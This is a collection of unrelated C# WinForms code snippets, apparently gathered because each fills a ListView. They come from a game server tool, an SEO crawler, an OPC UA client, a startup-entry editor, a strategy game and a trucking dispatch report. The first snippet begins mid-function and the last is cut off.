GridHeroUserItem.Items[i].SubItems[7].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->AC), HUtil32.HiWord(Item->AC))); GridHeroUserItem.Items[i].SubItems[8].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->MAC), HUtil32.HiWord(Item->MAC))); GridHeroUserItem.Items[i].SubItems[9].Text = (string.Format("{0}/{1}/{2}/{3}/{4}/{5}/{6}", UserItem->btValue[0], UserItem->btValue[1], UserItem->btValue[2], UserItem->btValue[3], UserItem->btValue[4], UserItem->btValue[5], UserItem->btValue[6])); } //背包 i = 0; GridHeroBagItem.Items.Clear(); foreach (IntPtr pItem in PlayObject.m_MyHero.m_ItemList) { UserItem = (TUserItem *)pItem; StdItem = *M2Share.UserEngine.GetStdItem(UserItem->wIndex); if (StdItem.Name == null) { GridHeroBagItem.Items[i].SubItems[1].Text = ""; GridHeroBagItem.Items[i].SubItems[2].Text = ""; GridHeroBagItem.Items[i].SubItems[3].Text = ""; GridHeroBagItem.Items[i].SubItems[4].Text = ""; GridHeroBagItem.Items[i].SubItems[5].Text = ""; GridHeroBagItem.Items[i].SubItems[6].Text = ""; GridHeroBagItem.Items[i].SubItems[7].Text = ""; GridHeroBagItem.Items[i].SubItems[8].Text = ""; GridHeroBagItem.Items[i].SubItems[9].Text = ""; continue; } Item = &StdItem; M2Share.ItemUnit.GetItemAddValue(UserItem, Item); ListViewItem lvItem = GridHeroBagItem.Items.Add(i.ToString()); lvItem.SubItems.Add(HUtil32.SBytePtrToString(Item->Name, Item->NameLen)); lvItem.SubItems.Add(UserItem->MakeIndex.ToString()); lvItem.SubItems.Add(string.Format("{0}/{1}", UserItem->Dura, UserItem->DuraMax)); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->DC), HUtil32.HiWord(Item->DC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->MC), HUtil32.HiWord(Item->MC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->SC), HUtil32.HiWord(Item->SC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->AC), HUtil32.HiWord(Item->AC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->MAC), HUtil32.HiWord(Item->MAC))); lvItem.SubItems.Add(string.Format("{0}/{1}/{2}/{3}/{4}/{5}/{6}", UserItem->btValue[0], UserItem->btValue[1], UserItem->btValue[2], UserItem->btValue[3], UserItem->btValue[4], UserItem->btValue[5], UserItem->btValue[6])); i++; } } catch { } }
/**************************************************************************/ protected override void RenderListView( List <ListViewItem> ListViewItems, MacroscopeDocumentCollection DocCollection, MacroscopeDocument msDoc, string Url ) { bool Proceed = false; if (msDoc.GetIsExternal()) { return; } if (msDoc.GetIsRedirect()) { return; } switch (msDoc.GetDocumentType()) { case MacroscopeConstants.DocumentType.HTML: Proceed = true; break; case MacroscopeConstants.DocumentType.PDF: Proceed = true; break; default: break; } if (Proceed) { ListViewItem lvItem = null; int Occurrences = 0; string PageLanguage = msDoc.GetIsoLanguageCode(); string DetectedLanguage = msDoc.GetDescriptionLanguage(); string Description = msDoc.GetDescription(); int DescriptionLength = msDoc.GetDescriptionLength(); string PairKey = string.Join(":", UrlToDigest(Url), UrlToDigest(Description)); if (string.IsNullOrEmpty(PageLanguage)) { PageLanguage = ""; } if (string.IsNullOrEmpty(DetectedLanguage)) { DetectedLanguage = ""; } if (DescriptionLength > 0) { Occurrences = DocCollection.GetStatsDescriptionCount(msDoc: msDoc); } else { Description = "MISSING"; } if (this.DisplayListView.Items.ContainsKey(PairKey)) { try { lvItem = this.DisplayListView.Items[PairKey]; lvItem.SubItems[ColUrl].Text = Url; lvItem.SubItems[ColPageLanguage].Text = PageLanguage; lvItem.SubItems[ColDetectedLanguage].Text = DetectedLanguage; lvItem.SubItems[ColOccurences].Text = Occurrences.ToString(); lvItem.SubItems[ColDescriptionText].Text = Description; lvItem.SubItems[ColLength].Text = DescriptionLength.ToString(); } catch (Exception ex) { DebugMsg(string.Format("MacroscopeDisplayDescriptions 1: {0}", ex.Message)); } } else { try { lvItem = new ListViewItem(PairKey); lvItem.UseItemStyleForSubItems = false; lvItem.Name = PairKey; lvItem.SubItems[ColUrl].Text = Url; lvItem.SubItems.Add(PageLanguage); lvItem.SubItems.Add(DetectedLanguage); lvItem.SubItems.Add(Occurrences.ToString()); lvItem.SubItems.Add(Description); lvItem.SubItems.Add(DescriptionLength.ToString()); ListViewItems.Add(lvItem); } catch (Exception ex) { DebugMsg(string.Format("MacroscopeDisplayDescriptions 2: {0}", ex.Message)); } } if (lvItem != null) { lvItem.ForeColor = Color.Blue; // URL -------------------------------------------------------------// if (msDoc.GetIsInternal()) { lvItem.SubItems[ColUrl].ForeColor = Color.Green; } else { lvItem.SubItems[ColUrl].ForeColor = Color.Gray; } // Description Language --------------------------------------------// if (msDoc.GetIsInternal()) { lvItem.SubItems[ColPageLanguage].ForeColor = Color.Green; lvItem.SubItems[ColDetectedLanguage].ForeColor = Color.Green; if (DetectedLanguage != PageLanguage) { lvItem.SubItems[ColPageLanguage].ForeColor = Color.Red; lvItem.SubItems[ColDetectedLanguage].ForeColor = Color.Red; } } else { lvItem.SubItems[ColPageLanguage].ForeColor = Color.Gray; lvItem.SubItems[ColDetectedLanguage].ForeColor = Color.Gray; } // Check Description Length ----------------------------------------// if (msDoc.GetIsInternal()) { if (DescriptionLength < MacroscopePreferencesManager.GetDescriptionMinLen()) { lvItem.SubItems[ColUrl].ForeColor = Color.Red; lvItem.SubItems[ColOccurences].ForeColor = Color.Red; lvItem.SubItems[ColDetectedLanguage].ForeColor = Color.Red; lvItem.SubItems[ColDescriptionText].ForeColor = Color.Red; lvItem.SubItems[ColLength].ForeColor = Color.Red; } else if (DescriptionLength > MacroscopePreferencesManager.GetDescriptionMaxLen()) { lvItem.SubItems[ColUrl].ForeColor = Color.Red; lvItem.SubItems[ColOccurences].ForeColor = Color.Red; lvItem.SubItems[ColDetectedLanguage].ForeColor = Color.Red; lvItem.SubItems[ColDescriptionText].ForeColor = Color.Red; lvItem.SubItems[ColLength].ForeColor = Color.Red; } else { lvItem.SubItems[ColOccurences].ForeColor = Color.Green; lvItem.SubItems[ColDetectedLanguage].ForeColor = Color.Green; lvItem.SubItems[ColDescriptionText].ForeColor = Color.Green; lvItem.SubItems[ColLength].ForeColor = Color.Green; } } else { lvItem.SubItems[ColOccurences].ForeColor = Color.Gray; lvItem.SubItems[ColDetectedLanguage].ForeColor = Color.Gray; lvItem.SubItems[ColDescriptionText].ForeColor = Color.Gray; lvItem.SubItems[ColLength].ForeColor = Color.Gray; } } } }
/// <summary> /// Reads the properties for the node. /// </summary> private void ReadProperties(NodeId nodeId) { // build list of references to browse. BrowseDescriptionCollection nodesToBrowse = new BrowseDescriptionCollection(); BrowseDescription nodeToBrowse = new BrowseDescription(); nodeToBrowse.NodeId = nodeId; nodeToBrowse.BrowseDirection = BrowseDirection.Forward; nodeToBrowse.ReferenceTypeId = Opc.Ua.ReferenceTypeIds.HasProperty; nodeToBrowse.IncludeSubtypes = true; nodeToBrowse.NodeClassMask = (uint)NodeClass.Variable; nodeToBrowse.ResultMask = (uint)BrowseResultMask.All; nodesToBrowse.Add(nodeToBrowse); // find properties. ReferenceDescriptionCollection references = ClientUtils.Browse(m_session, View, nodesToBrowse, false); // build list of properties to read. ReadValueIdCollection nodesToRead = new ReadValueIdCollection(); for (int ii = 0; references != null && ii < references.Count; ii++) { ReferenceDescription reference = references[ii]; // ignore out of server references. if (reference.NodeId.IsAbsolute) { continue; } ReadValueId nodeToRead = new ReadValueId(); nodeToRead.NodeId = (NodeId)reference.NodeId; nodeToRead.AttributeId = Attributes.Value; nodeToRead.Handle = reference; nodesToRead.Add(nodeToRead); } if (nodesToRead.Count == 0) { return; } // read the properties. DataValueCollection results = null; DiagnosticInfoCollection diagnosticInfos = null; m_session.Read( null, 0, TimestampsToReturn.Neither, nodesToRead, out results, out diagnosticInfos); ClientBase.ValidateResponse(results, nodesToRead); ClientBase.ValidateDiagnosticInfos(diagnosticInfos, nodesToRead); // add the results to the display. for (int ii = 0; ii < results.Count; ii++) { ReferenceDescription reference = (ReferenceDescription)nodesToRead[ii].Handle; TypeInfo typeInfo = TypeInfo.Construct(results[ii].Value); // add the metadata for the attribute. ListViewItem item = new ListViewItem(reference.ToString()); item.SubItems.Add(typeInfo.BuiltInType.ToString()); if (typeInfo.ValueRank >= 0) { item.SubItems[1].Text += "[]"; } // add the value. if (StatusCode.IsBad(results[ii].StatusCode)) { item.SubItems.Add(results[ii].StatusCode.ToString()); } else { item.SubItems.Add(results[ii].WrappedValue.ToString()); } item.Tag = new AttributeInfo() { NodeToRead = nodesToRead[ii], Value = results[ii] }; item.ImageIndex = ClientUtils.GetImageIndex(m_session, NodeClass.Variable, Opc.Ua.VariableTypeIds.PropertyType, false); // display in list. AttributesLV.Items.Add(item); } }
public void m_lngSaveRecipeFequencyType() { if(m_objViewer.m_txtName.Text.Trim()=="") { m_ephHandler.m_mthAddControl(m_objViewer.m_txtName); m_ephHandler.m_mthShowControlsErrorProvider(); m_ephHandler.m_mthClearControl(); m_objViewer.m_txtName.Focus(); return; } if(m_objViewer.m_txtUSERCODE_CHR.Text.Trim()=="") { m_ephHandler.m_mthAddControl(m_objViewer.m_txtUSERCODE_CHR); m_ephHandler.m_mthShowControlsErrorProvider(); m_ephHandler.m_mthClearControl(); m_objViewer.m_txtUSERCODE_CHR.Focus(); return; } if(m_objViewer.m_txtTIMES_INT.Text.Trim()=="") { m_ephHandler.m_mthAddControl(m_objViewer.m_txtTIMES_INT); m_ephHandler.m_mthShowControlsErrorProvider(); m_ephHandler.m_mthClearControl(); m_objViewer.m_txtTIMES_INT.Focus(); return; } if(m_objViewer.tex_DAYS_INT.Text.Trim()=="") { m_ephHandler.m_mthAddControl(m_objViewer.tex_DAYS_INT); m_ephHandler.m_mthShowControlsErrorProvider(); m_ephHandler.m_mthClearControl(); m_objViewer.tex_DAYS_INT.Focus(); return; } long lngRes=0; string strID=""; clsRecipefreq_VO objResult=new clsRecipefreq_VO(); objResult.m_strFREQNAME_CHR=m_objViewer.m_txtName.Text; objResult.m_strUSERCODE_CHR=m_objViewer.m_txtUSERCODE_CHR.Text; objResult.m_intTIMES_INT=Convert.ToInt32(m_objViewer.m_txtTIMES_INT.Text); objResult.m_intDAYS_INT=Convert.ToInt32(m_objViewer.tex_DAYS_INT.Text); objResult.m_strOPFreqDesc = this.m_objViewer.m_txtDesc.Text; if(m_objViewer.m_txtName.Tag==null) //新增 { for(int i=0;i<m_objViewer.m_lvw.Items.Count;i++) { if(m_objViewer.m_lvw.Items[i].SubItems[3].Text.Trim()==m_objViewer.m_txtUSERCODE_CHR.Text.Trim()) { MessageBox.Show("该助记码已存在!","提示"); m_ephHandler.m_mthAddControl(m_objViewer.m_txtUSERCODE_CHR); m_ephHandler.m_mthShowControlsErrorProvider(); m_ephHandler.m_mthClearControl(); m_objViewer.m_txtUSERCODE_CHR.Focus(); m_objViewer.m_txtUSERCODE_CHR.SelectAll(); return; } } lngRes=clsDomain.m_lngAddRecipeFrequencyType(objResult,out strID); int index=m_objViewer.m_lvw.Items.Count; if(lngRes>0) { //MessageBox.Show("保存成功!","提示"); ListViewItem lvw=new ListViewItem(); lvw.SubItems.Add(strID); lvw.SubItems.Add(m_objViewer.m_txtName.Text); lvw.SubItems.Add(m_objViewer.m_txtUSERCODE_CHR.Text); lvw.SubItems.Add(m_objViewer.m_txtTIMES_INT.Text); lvw.SubItems.Add(m_objViewer.tex_DAYS_INT.Text); lvw.SubItems.Add(m_objViewer.m_txtDesc.Text); lvw.Tag=strID; m_objViewer.m_lvw.Items.Add(lvw); m_objViewer.m_lvw.Items[index].Selected=true; }else MessageBox.Show("保存失败!","提示"); } else //修改 { if(m_objViewer.m_lvw.SelectedItems.Count<=0) { return; } for(int i=0;i<m_objViewer.m_lvw.Items.Count;i++) { if (i==m_objViewer.m_lvw.SelectedItems[0].Index) continue; if(m_objViewer.m_lvw.Items[i].SubItems[3].Text.Trim()==m_objViewer.m_txtUSERCODE_CHR.Text.Trim()) { MessageBox.Show("该助记码已存在!","提示"); m_ephHandler.m_mthAddControl(m_objViewer.m_txtUSERCODE_CHR); m_ephHandler.m_mthShowControlsErrorProvider(); m_ephHandler.m_mthClearControl(); m_objViewer.m_txtUSERCODE_CHR.Focus(); m_objViewer.m_txtUSERCODE_CHR.SelectAll(); return; } } objResult.m_strFREQID_CHR=m_objViewer.m_txtName.Tag.ToString(); lngRes=clsDomain.m_lngDoUpdRecipeFrequencyTypeByID(objResult); if(lngRes>0) { MessageBox.Show("修改成功!","提示"); m_objViewer.m_lvw.SelectedItems[0].SubItems[2].Text=m_objViewer.m_txtName.Text; m_objViewer.m_lvw.SelectedItems[0].SubItems[3].Text=m_objViewer.m_txtUSERCODE_CHR.Text; m_objViewer.m_lvw.SelectedItems[0].SubItems[4].Text=m_objViewer.m_txtTIMES_INT.Text; m_objViewer.m_lvw.SelectedItems[0].SubItems[5].Text=m_objViewer.tex_DAYS_INT.Text; m_objViewer.m_lvw.SelectedItems[0].SubItems[6].Text = m_objViewer.m_txtDesc.Text; } else MessageBox.Show("修改失败!","提示"); } m_objViewer.m_txtName.Text=""; m_objViewer.m_txtUSERCODE_CHR.Text=""; m_objViewer.m_txtTIMES_INT.Text=""; m_objViewer.tex_DAYS_INT.Text=""; m_objViewer.m_txtName.Tag=null; m_objViewer.m_txtName.Focus(); }
public static void AddItemToListView(ref ListView listView, string[] item) { var listViewItem = new ListViewItem(item); listView.Items.Add(listViewItem); }
private void GetSessionsBG() { try { RDP.TerminalSessions tS = new RDP.TerminalSessions(); Security.Impersonator sU = new Security.Impersonator(); RDP.Sessions tsSessions = new RDP.Sessions(); sU.StartImpersonation(tDomain, tUserName, tPassword); try { //Trace.WriteLine("Opening connection to server: " & tServerName) if (tS.OpenConnection(tServerName) == true) { tServerHandle = tS.ServerHandle; //Trace.WriteLine("Trying to get sessions") tsSessions = tS.GetSessions(); } } catch (Exception) { } int i = 0; //Trace.WriteLine("Sessions Count: " & tsSessions.Count) if (tServerName == this._CurrentHost) { for (i = 0; i <= tsSessions.ItemsCount - 1; i++) { ListViewItem lItem = new ListViewItem(); lItem.Tag = tsSessions[i].SessionID; lItem.Text = (string)(tsSessions[i].SessionUser); lItem.SubItems.Add(tsSessions[i].SessionState); lItem.SubItems.Add(Strings.Replace((string)(tsSessions[i].SessionName), Constants.vbNewLine, "", 1, -1, 0)); //Trace.WriteLine("Session " & i & ": " & tsSessions(i).SessionUser) AddToList(lItem); } } sU.StopImpersonation(); sU = null; tS.CloseConnection(tServerHandle); } catch (Exception ex) { Runtime.MessageCollector.AddMessage(Messages.MessageClass.ErrorMsg, Language.strSessionGetFailed + Constants.vbNewLine + ex.Message, true); } }
/// <summary> /// To read all the entries found in the startup folders /// </summary> /// <param name="Root">Put one of the following(Replacing Enabled with Disabled if needed) /// All Users Enabled, User Name Enabled</param> internal void ReadStartUpFolders(string Root) { string Status = "Enabled"; try { switch (Root) { case "All Users Enabled": Root = "All Users"; GlobalReg = Registry.LocalMachine.OpenSubKey (@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", true); GlobalDir = new DirectoryInfo(GlobalReg.GetValue("Common Startup", "C:\\").ToString()); GlobalReg.Close(); break; case "User Name Enabled": Root = Environment.UserName; GlobalDir = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); break; case "All Users Disabled": Root = "All Users"; Status = "Disabled"; GlobalDir = new DirectoryInfo(Application.StartupPath + @"\BackUps\All Users"); break; case "User Name Disabled": Root = Environment.UserName; Status = "Disabled"; GlobalDir = new DirectoryInfo(Application.StartupPath + @"\BackUps\" + Environment.UserName); break; } if (GlobalDir.Exists) { foreach (FileInfo SingleIt in GlobalDir.GetFiles("*.*")) { GlobalString = SingleIt.FullName; GlobalEntry = new ListViewItem(); GlobalEntry.ImageIndex = GlobalImageCounter; GlobalImageLarg.Images.Add(Icon.FromHandle(GlobalGet.AHandle(GlobalString))); GlobalImageSmall.Images.Add(GlobalImageLarg.Images[GlobalImageCounter]); GlobalEntry.Text = SingleIt.Name; GlobalEntry.SubItems.Add(GlobalString); GlobalEntry.SubItems.Add("Startup Folder"); GlobalEntry.SubItems.Add(Root); GlobalEntry.SubItems.Add(Status); GlobalEntry.SubItems.Add(GlobalString); // Full Key Path GlobalView.Items.Add(GlobalEntry); GlobalImageCounter++; } } } catch (InvalidOperationException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } catch (System.Security.SecurityException MyExp) { MessageBox.Show ("An error returned while trying to access \n" + "Error is " + MyExp.Message + "\n" + "Startup Editor requires an administrartor privileges to run properly", "Access is denied"); return; } catch (ArgumentNullException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } catch (NullReferenceException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } catch (Exception MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } }
public static void DoSearch(string term, ListView lv, ArrayList al) { //search al and put matches in lv Cursor.Current = Cursors.WaitCursor; term = term.ToUpper(); int rel; //serach relevence, how many terms does this item match string[] terms = term.Split(" ".ToCharArray()); lv.BeginUpdate(); lv.Items.Clear(); if (term == "") { //return all items foreach (Search s in al) { ListViewItem lvi = new ListViewItem(); lvi.Text = s.method; lvi.SubItems.Add(s.dll); lv.Items.Add(lvi); } } else { ArrayList found = new ArrayList(); foreach(Search s in al) { rel = 0; foreach(string str in terms) { if (str != "") { if (s.method.IndexOf(str) != -1) rel ++; } } if (rel > 0) { Search foundItem = new Search(s.method, s.dll); foundItem.Relevence = rel; found.Add(foundItem); } } if (found.Count > 0) { found.Sort(); foreach (Search s in found) { ListViewItem lvi = new ListViewItem(); lvi.Text = s.method; lvi.SubItems.Add(s.dll); lv.Items.Add(lvi); } } } lv.EndUpdate(); Cursor.Current = Cursors.Default; }
internal void GetMSConfigNoneXPRegistry(string hkey, string Key, string EntryType, string StatusMsg) { try { switch (hkey) { case "HKEY_LOCAL_MACHINE": GlobalReg = Registry.LocalMachine.OpenSubKey(Key, true); break; case "HKEY_CURRENT_USER": GlobalReg = Registry.CurrentUser.OpenSubKey(Key, true); break; case "HKEY_CLASSES_ROOT": GlobalReg = Registry.ClassesRoot.OpenSubKey(Key, true); break; } if (GlobalReg.ValueCount != 0) { foreach (string SingleCustom in GlobalReg.GetValueNames()) { GlobalString = GlobalReg.GetValue(SingleCustom, "Error").ToString(); GlobalEntry = new ListViewItem(); GlobalEntry.ImageIndex = GlobalImageCounter; GlobalImageLarg.Images.Add(Icon.FromHandle(GlobalGet.AHandle(GlobalString))); GlobalImageSmall.Images.Add(GlobalImageLarg.Images[GlobalImageCounter]); GlobalEntry.Text = SingleCustom; //name GlobalEntry.SubItems.Add(GlobalString); //data GlobalEntry.SubItems.Add(hkey); //root GlobalEntry.SubItems.Add(EntryType); // TYPE GlobalEntry.SubItems.Add(StatusMsg); // Status GlobalEntry.SubItems.Add(Key); // Full Key Path GlobalView.Items.Add(GlobalEntry); GlobalImageCounter++; } GlobalReg.Close(); } } catch (InvalidOperationException MyEx) { //MyEx.Message.Trim(); MessageBox.Show(hkey + "\\" + Key + "\n" + MyEx.Message.Trim()); } catch (System.Security.SecurityException MyExp) { MessageBox.Show ("An error returned while trying to access \n" + hkey + "\\" + "\n" + "Error is " + MyExp.Message + "\n" + "Startup Editor requires an administrartor privileges to run properly", "Access is denied"); return; } catch (ArgumentNullException MyEx) { //MyEx.Message.Trim(); MessageBox.Show(hkey + "\\" + Key + "\n" + MyEx.Message.Trim()); } catch (NullReferenceException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( hkey + "\\" + Key + "\n" + MyEx.Message.Trim() ); } catch (Exception MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( hkey + "\\" + Key + "\n" + MyEx.Message.Trim() ); } }
public FormKolonizacija(IgraZvj igra, Igrac igrac, Brod brod, Zvijezda zvijezda) { InitializeComponent(); groupPlanet.Hide(); groupPoStan.Hide(); groupRude.Hide(); hscrBrBrodova.Minimum = 0; hscrBrBrodova.Maximum = 40; hscrBrBrodova.Hide(); lblBrBrodova.Hide(); lblBrStanovnika.Hide(); lblBrRadnihMjesta.Hide(); this.igra = igra; this.igrac = igrac; this.brod = brod; this.zvijezda = zvijezda; brodPopulacija = brod.dizajn.populacija; brodRadnaMjesta = brod.dizajn.radnaMjesta; lstvPlaneti.LargeImageList = new ImageList(); lstvPlaneti.LargeImageList.ImageSize = new Size(32, 32); Image[] planetImages = new Image[Slike.PlanetImageIndex.Count]; foreach (Image img in Slike.PlanetImageIndex.Keys) { planetImages[Slike.PlanetImageIndex[img]] = img; } lstvPlaneti.LargeImageList.Images.AddRange(planetImages); lstvPlaneti.Items.Clear(); for (int i = 0; i < zvijezda.planeti.Count; i++) { Planet planet = zvijezda.planeti[i]; ListViewItem item = new ListViewItem(); item.ImageIndex = Slike.PlanetImageIndex[planet.slika]; if (planet.tip != Planet.Tip.NIKAKAV) { item.Text = planet.ime; if (planet.kolonija != null) { item.ForeColor = planet.kolonija.Igrac.boja; } } lstvPlaneti.Items.Add(item); } foreach (Flota.Kolonizacija kolonizacija in igrac.floteStacionarne[zvijezda].kolonizacije) { if (kolonizacija.brod == brod) { brBrodova[kolonizacija.planet] += kolonizacija.brBrodova; } else { dodatnaPopulacija[kolonizacija.planet] += kolonizacija.brod.dizajn.populacija * kolonizacija.brBrodova; } } Dictionary <string, ITekst> jezik = Postavke.Jezik[Kontekst.FormKolonizacija]; Dictionary <string, ITekst> jezikPl = Postavke.Jezik[Kontekst.FormPlanetInfo]; btnPrihvati.Text = jezik["btnPrihvati"].tekst(); lblAtmosfera.Text = jezikPl["lblAtmosfera"].tekst(); groupPlanet.Text = jezikPl["groupPlanet"].tekst(); groupPoStan.Text = jezik["groupPoStan"].tekst(); groupRude.Text = jezikPl["groupRude"].tekst(); this.Text = jezik["naslov"].tekst(); postaviZvjezdice(); this.Font = Postavke.FontSucelja(this.Font); }
internal void GetMSConfigXPFolders() { string ThePath = @"SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder"; try { GlobalReg = Registry.LocalMachine.OpenSubKey(ThePath, true); if (GlobalReg.SubKeyCount != 0) { foreach (string SingleKey in GlobalReg.GetSubKeyNames()) { GlobalReg = Registry.LocalMachine.OpenSubKey(ThePath + @"\" + SingleKey, true); //---------------------------------------------------------------------------- string Entry = GlobalReg.GetValue("item", "item").ToString(); string command = GlobalReg.GetValue("Command", "Command").ToString(); string path = GlobalReg.GetValue("path", "path").ToString(); string backup = GlobalReg.GetValue("backup", "backup").ToString(); string location = GlobalReg.GetValue("location", "location").ToString(); if (location == "Common Startup") { location = "All Users"; } if (location == "Startup") { location = Environment.UserName; } //---------------------------------------------------------------------------- GlobalString = GlobalGet.AnalyzeIt(path); GlobalEntry = new ListViewItem(); GlobalEntry.ImageIndex = GlobalImageCounter; GlobalImageLarg.Images.Add(Icon.FromHandle(GlobalGet.AHandle(GlobalString))); GlobalImageSmall.Images.Add(GlobalImageLarg.Images[GlobalImageCounter]); GlobalEntry.Text = Entry; GlobalEntry.SubItems.Add(path); GlobalEntry.SubItems.Add("Startup Folder"); GlobalEntry.SubItems.Add(location); GlobalEntry.SubItems.Add("Disabled By MSConfig.exe"); GlobalEntry.SubItems.Add(backup); GlobalView.Items.Add(GlobalEntry); GlobalImageCounter++; } } } catch (System.Security.SecurityException MyExp) { MessageBox.Show ("An error returned while trying to access MSConfig.exe Entries\n" + "\n" + " Error is " + MyExp.Message + "\n" + "Startup Editor requires an administrartor privileges to run properly", "Access is denied"); return; } catch (ArgumentNullException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( ThePath + "\n" + MyEx.Message.Trim() ); } catch (NullReferenceException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( ThePath + "\n" + MyEx.Message.Trim() ); } catch (Exception MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( ThePath + "\n" + MyEx.Message.Trim() ); } }
private void RefreshListData() { DatabaseLibrary Obj = new DatabaseLibrary(); listView1.Items.Clear(); string query = @"SELECT tblndc.`DispDate`,tblndc.`BodyNum`,tblndc.`PlateNum`,tblndc.`Driver`,tblndc.`Helper`, tblndc.`Waybill`,tblndc.`Source`,tblndc.`RDD`,tblndc.`CommitTime`,tblndc.`Cases`,tblndc.`TruckReq`,tblndc.`TruckIn`,tblndc.`Checklist`, tblndc.`CustName`,tblndc.`SCheck`,tblndc.`FCheck`,tblndc.`SLoad`,tblndc.`FLoad`,tblndc.`DocRec`,tblndc.`INVCDN`,tblndc.`TruckOut`,tblndc.`SDwell`, tbldocu.`GarageIn`,tbldocu.`GarageOut`,tbldocu.`CustomerIn`,tbldocu.`StartUnload`,tbldocu.`FinishUnload`,tbldocu.`ReleaseDoc`,tbldocu.`CustomerOut`,tbldocu.`CDwell`, tbldocu.`TruckAtGarage`,tbldocu.`OfficeReceive`,tbldocu.`DocTransmit`,tbldocu.`Remarks` AS DocRem, tblsd.`DocReceiveNDC`,tblsd.`ReleaseSD`,tblsd.`SDNumber`,tblsd.`Remarks` AS SDRem FROM tblndc INNER JOIN tbldocu ON tblndc.`TripNum`=tbldocu.`TripNum` INNER JOIN tblsd ON tblndc.`TripNum`=tblsd.`TripNum` ORDER BY (tblsd.`ReleaseSD` IS NULL) ,tblndc.`RDD` DESC"; Obj.Connection(); Obj.datAdap = new MySqlDataAdapter(query, Obj.conn); Obj.datTab = new DataTable(); try { Obj.datAdap.Fill(Obj.datTab); for (int i = 0; i < Obj.datTab.Rows.Count; i++) { ListViewItem item = new ListViewItem(DateTime.Parse(Obj.datTab.Rows[i]["DispDate"].ToString()).ToString("MM/dd/yyyy")); item.SubItems.Add(Obj.datTab.Rows[i]["BodyNum"].ToString()); item.SubItems.Add(Obj.datTab.Rows[i]["PlateNum"].ToString()); item.SubItems.Add(Obj.datTab.Rows[i]["Driver"].ToString()); item.SubItems.Add(Obj.datTab.Rows[i]["Helper"].ToString()); item.SubItems.Add(Obj.datTab.Rows[i]["Waybill"].ToString()); item.SubItems.Add(Obj.datTab.Rows[i]["Source"].ToString()); if (Obj.datTab.Rows[i]["RDD"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["RDD"].ToString()).ToString("MM/dd/yyyy")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["RDD"].ToString()); } if (Obj.datTab.Rows[i]["CommitTime"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["CommitTime"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["CommitTime"].ToString()); } item.SubItems.Add(Obj.datTab.Rows[i]["Cases"].ToString()); item.SubItems.Add(Obj.datTab.Rows[i]["TruckReq"].ToString()); if (Obj.datTab.Rows[i]["TruckIn"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["TruckIn"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["TruckIn"].ToString()); } if (Obj.datTab.Rows[i]["Checklist"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["Checklist"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["Checklist"].ToString()); } item.SubItems.Add(Obj.datTab.Rows[i]["CustName"].ToString()); if (Obj.datTab.Rows[i]["SCheck"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["SCheck"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["SCheck"].ToString()); } if (Obj.datTab.Rows[i]["FCheck"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["FCheck"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["FCheck"].ToString()); } if (Obj.datTab.Rows[i]["SLoad"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["SLoad"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["SLoad"].ToString()); } if (Obj.datTab.Rows[i]["FLoad"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["FLoad"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["FLoad"].ToString()); } if (Obj.datTab.Rows[i]["DocRec"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["DocRec"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["DocRec"].ToString()); } item.SubItems.Add(Obj.datTab.Rows[i]["INVCDN"].ToString()); if (Obj.datTab.Rows[i]["TruckOut"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["TruckOut"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["TruckOut"].ToString()); } item.SubItems.Add(Obj.datTab.Rows[i]["SDwell"].ToString()); if (Obj.datTab.Rows[i]["GarageIn"].ToString() != string.Empty) { 